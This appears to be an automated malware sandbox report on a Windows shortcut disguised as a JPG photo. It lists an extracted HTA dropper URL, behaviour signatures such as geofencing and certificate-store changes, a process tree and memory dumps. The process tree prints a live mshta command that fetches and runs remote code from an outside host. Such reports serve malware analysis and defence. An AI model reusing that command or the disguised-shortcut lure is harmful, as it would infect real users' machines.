Analysis

  • max time kernel
    201s
  • max time network
    693s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220310-en
  • submitted
    22-03-2022 12:37

General

  • Target

    samples/IMG_20210603_122317.jpg.lnk

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://inapharma.in/css/files/photos/Sunakshi/IMG_20210603_122317

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\samples\IMG_20210603_122317.jpg.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1512
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://inapharma.in/css/files/photos/Sunakshi/IMG_20210603_122317
      2⤵
      • Blocklisted process makes network request
      • Modifies system certificate store
      PID:3472
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
    1⤵
    • Modifies data under HKEY_USERS
    PID:3668

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/3472-135-0x00007FFFEACF0000-0x00007FFFEB7B1000-memory.dmp

    Filesize

    10.8MB

  • memory/3472-136-0x00000123E8196000-0x00000123E8197000-memory.dmp

    Filesize

    4KB

  • memory/3668-137-0x000001A315B70000-0x000001A315B80000-memory.dmp

    Filesize

    64KB

  • memory/3668-138-0x000001A316560000-0x000001A316570000-memory.dmp

    Filesize

    64KB

  • memory/3668-139-0x000001A318AF0000-0x000001A318AF4000-memory.dmp

    Filesize

    16KB

  • memory/3668-140-0x000001A318DC0000-0x000001A318DC4000-memory.dmp

    Filesize

    16KB

  • memory/3668-141-0x000001A318DA0000-0x000001A318DA1000-memory.dmp

    Filesize

    4KB

  • memory/3668-142-0x000001A318B20000-0x000001A318B24000-memory.dmp

    Filesize

    16KB

  • memory/3668-143-0x000001A318B10000-0x000001A318B11000-memory.dmp

    Filesize

    4KB

  • memory/3668-144-0x000001A318B10000-0x000001A318B14000-memory.dmp

    Filesize

    16KB

  • memory/3668-145-0x000001A318A10000-0x000001A318A11000-memory.dmp

    Filesize

    4KB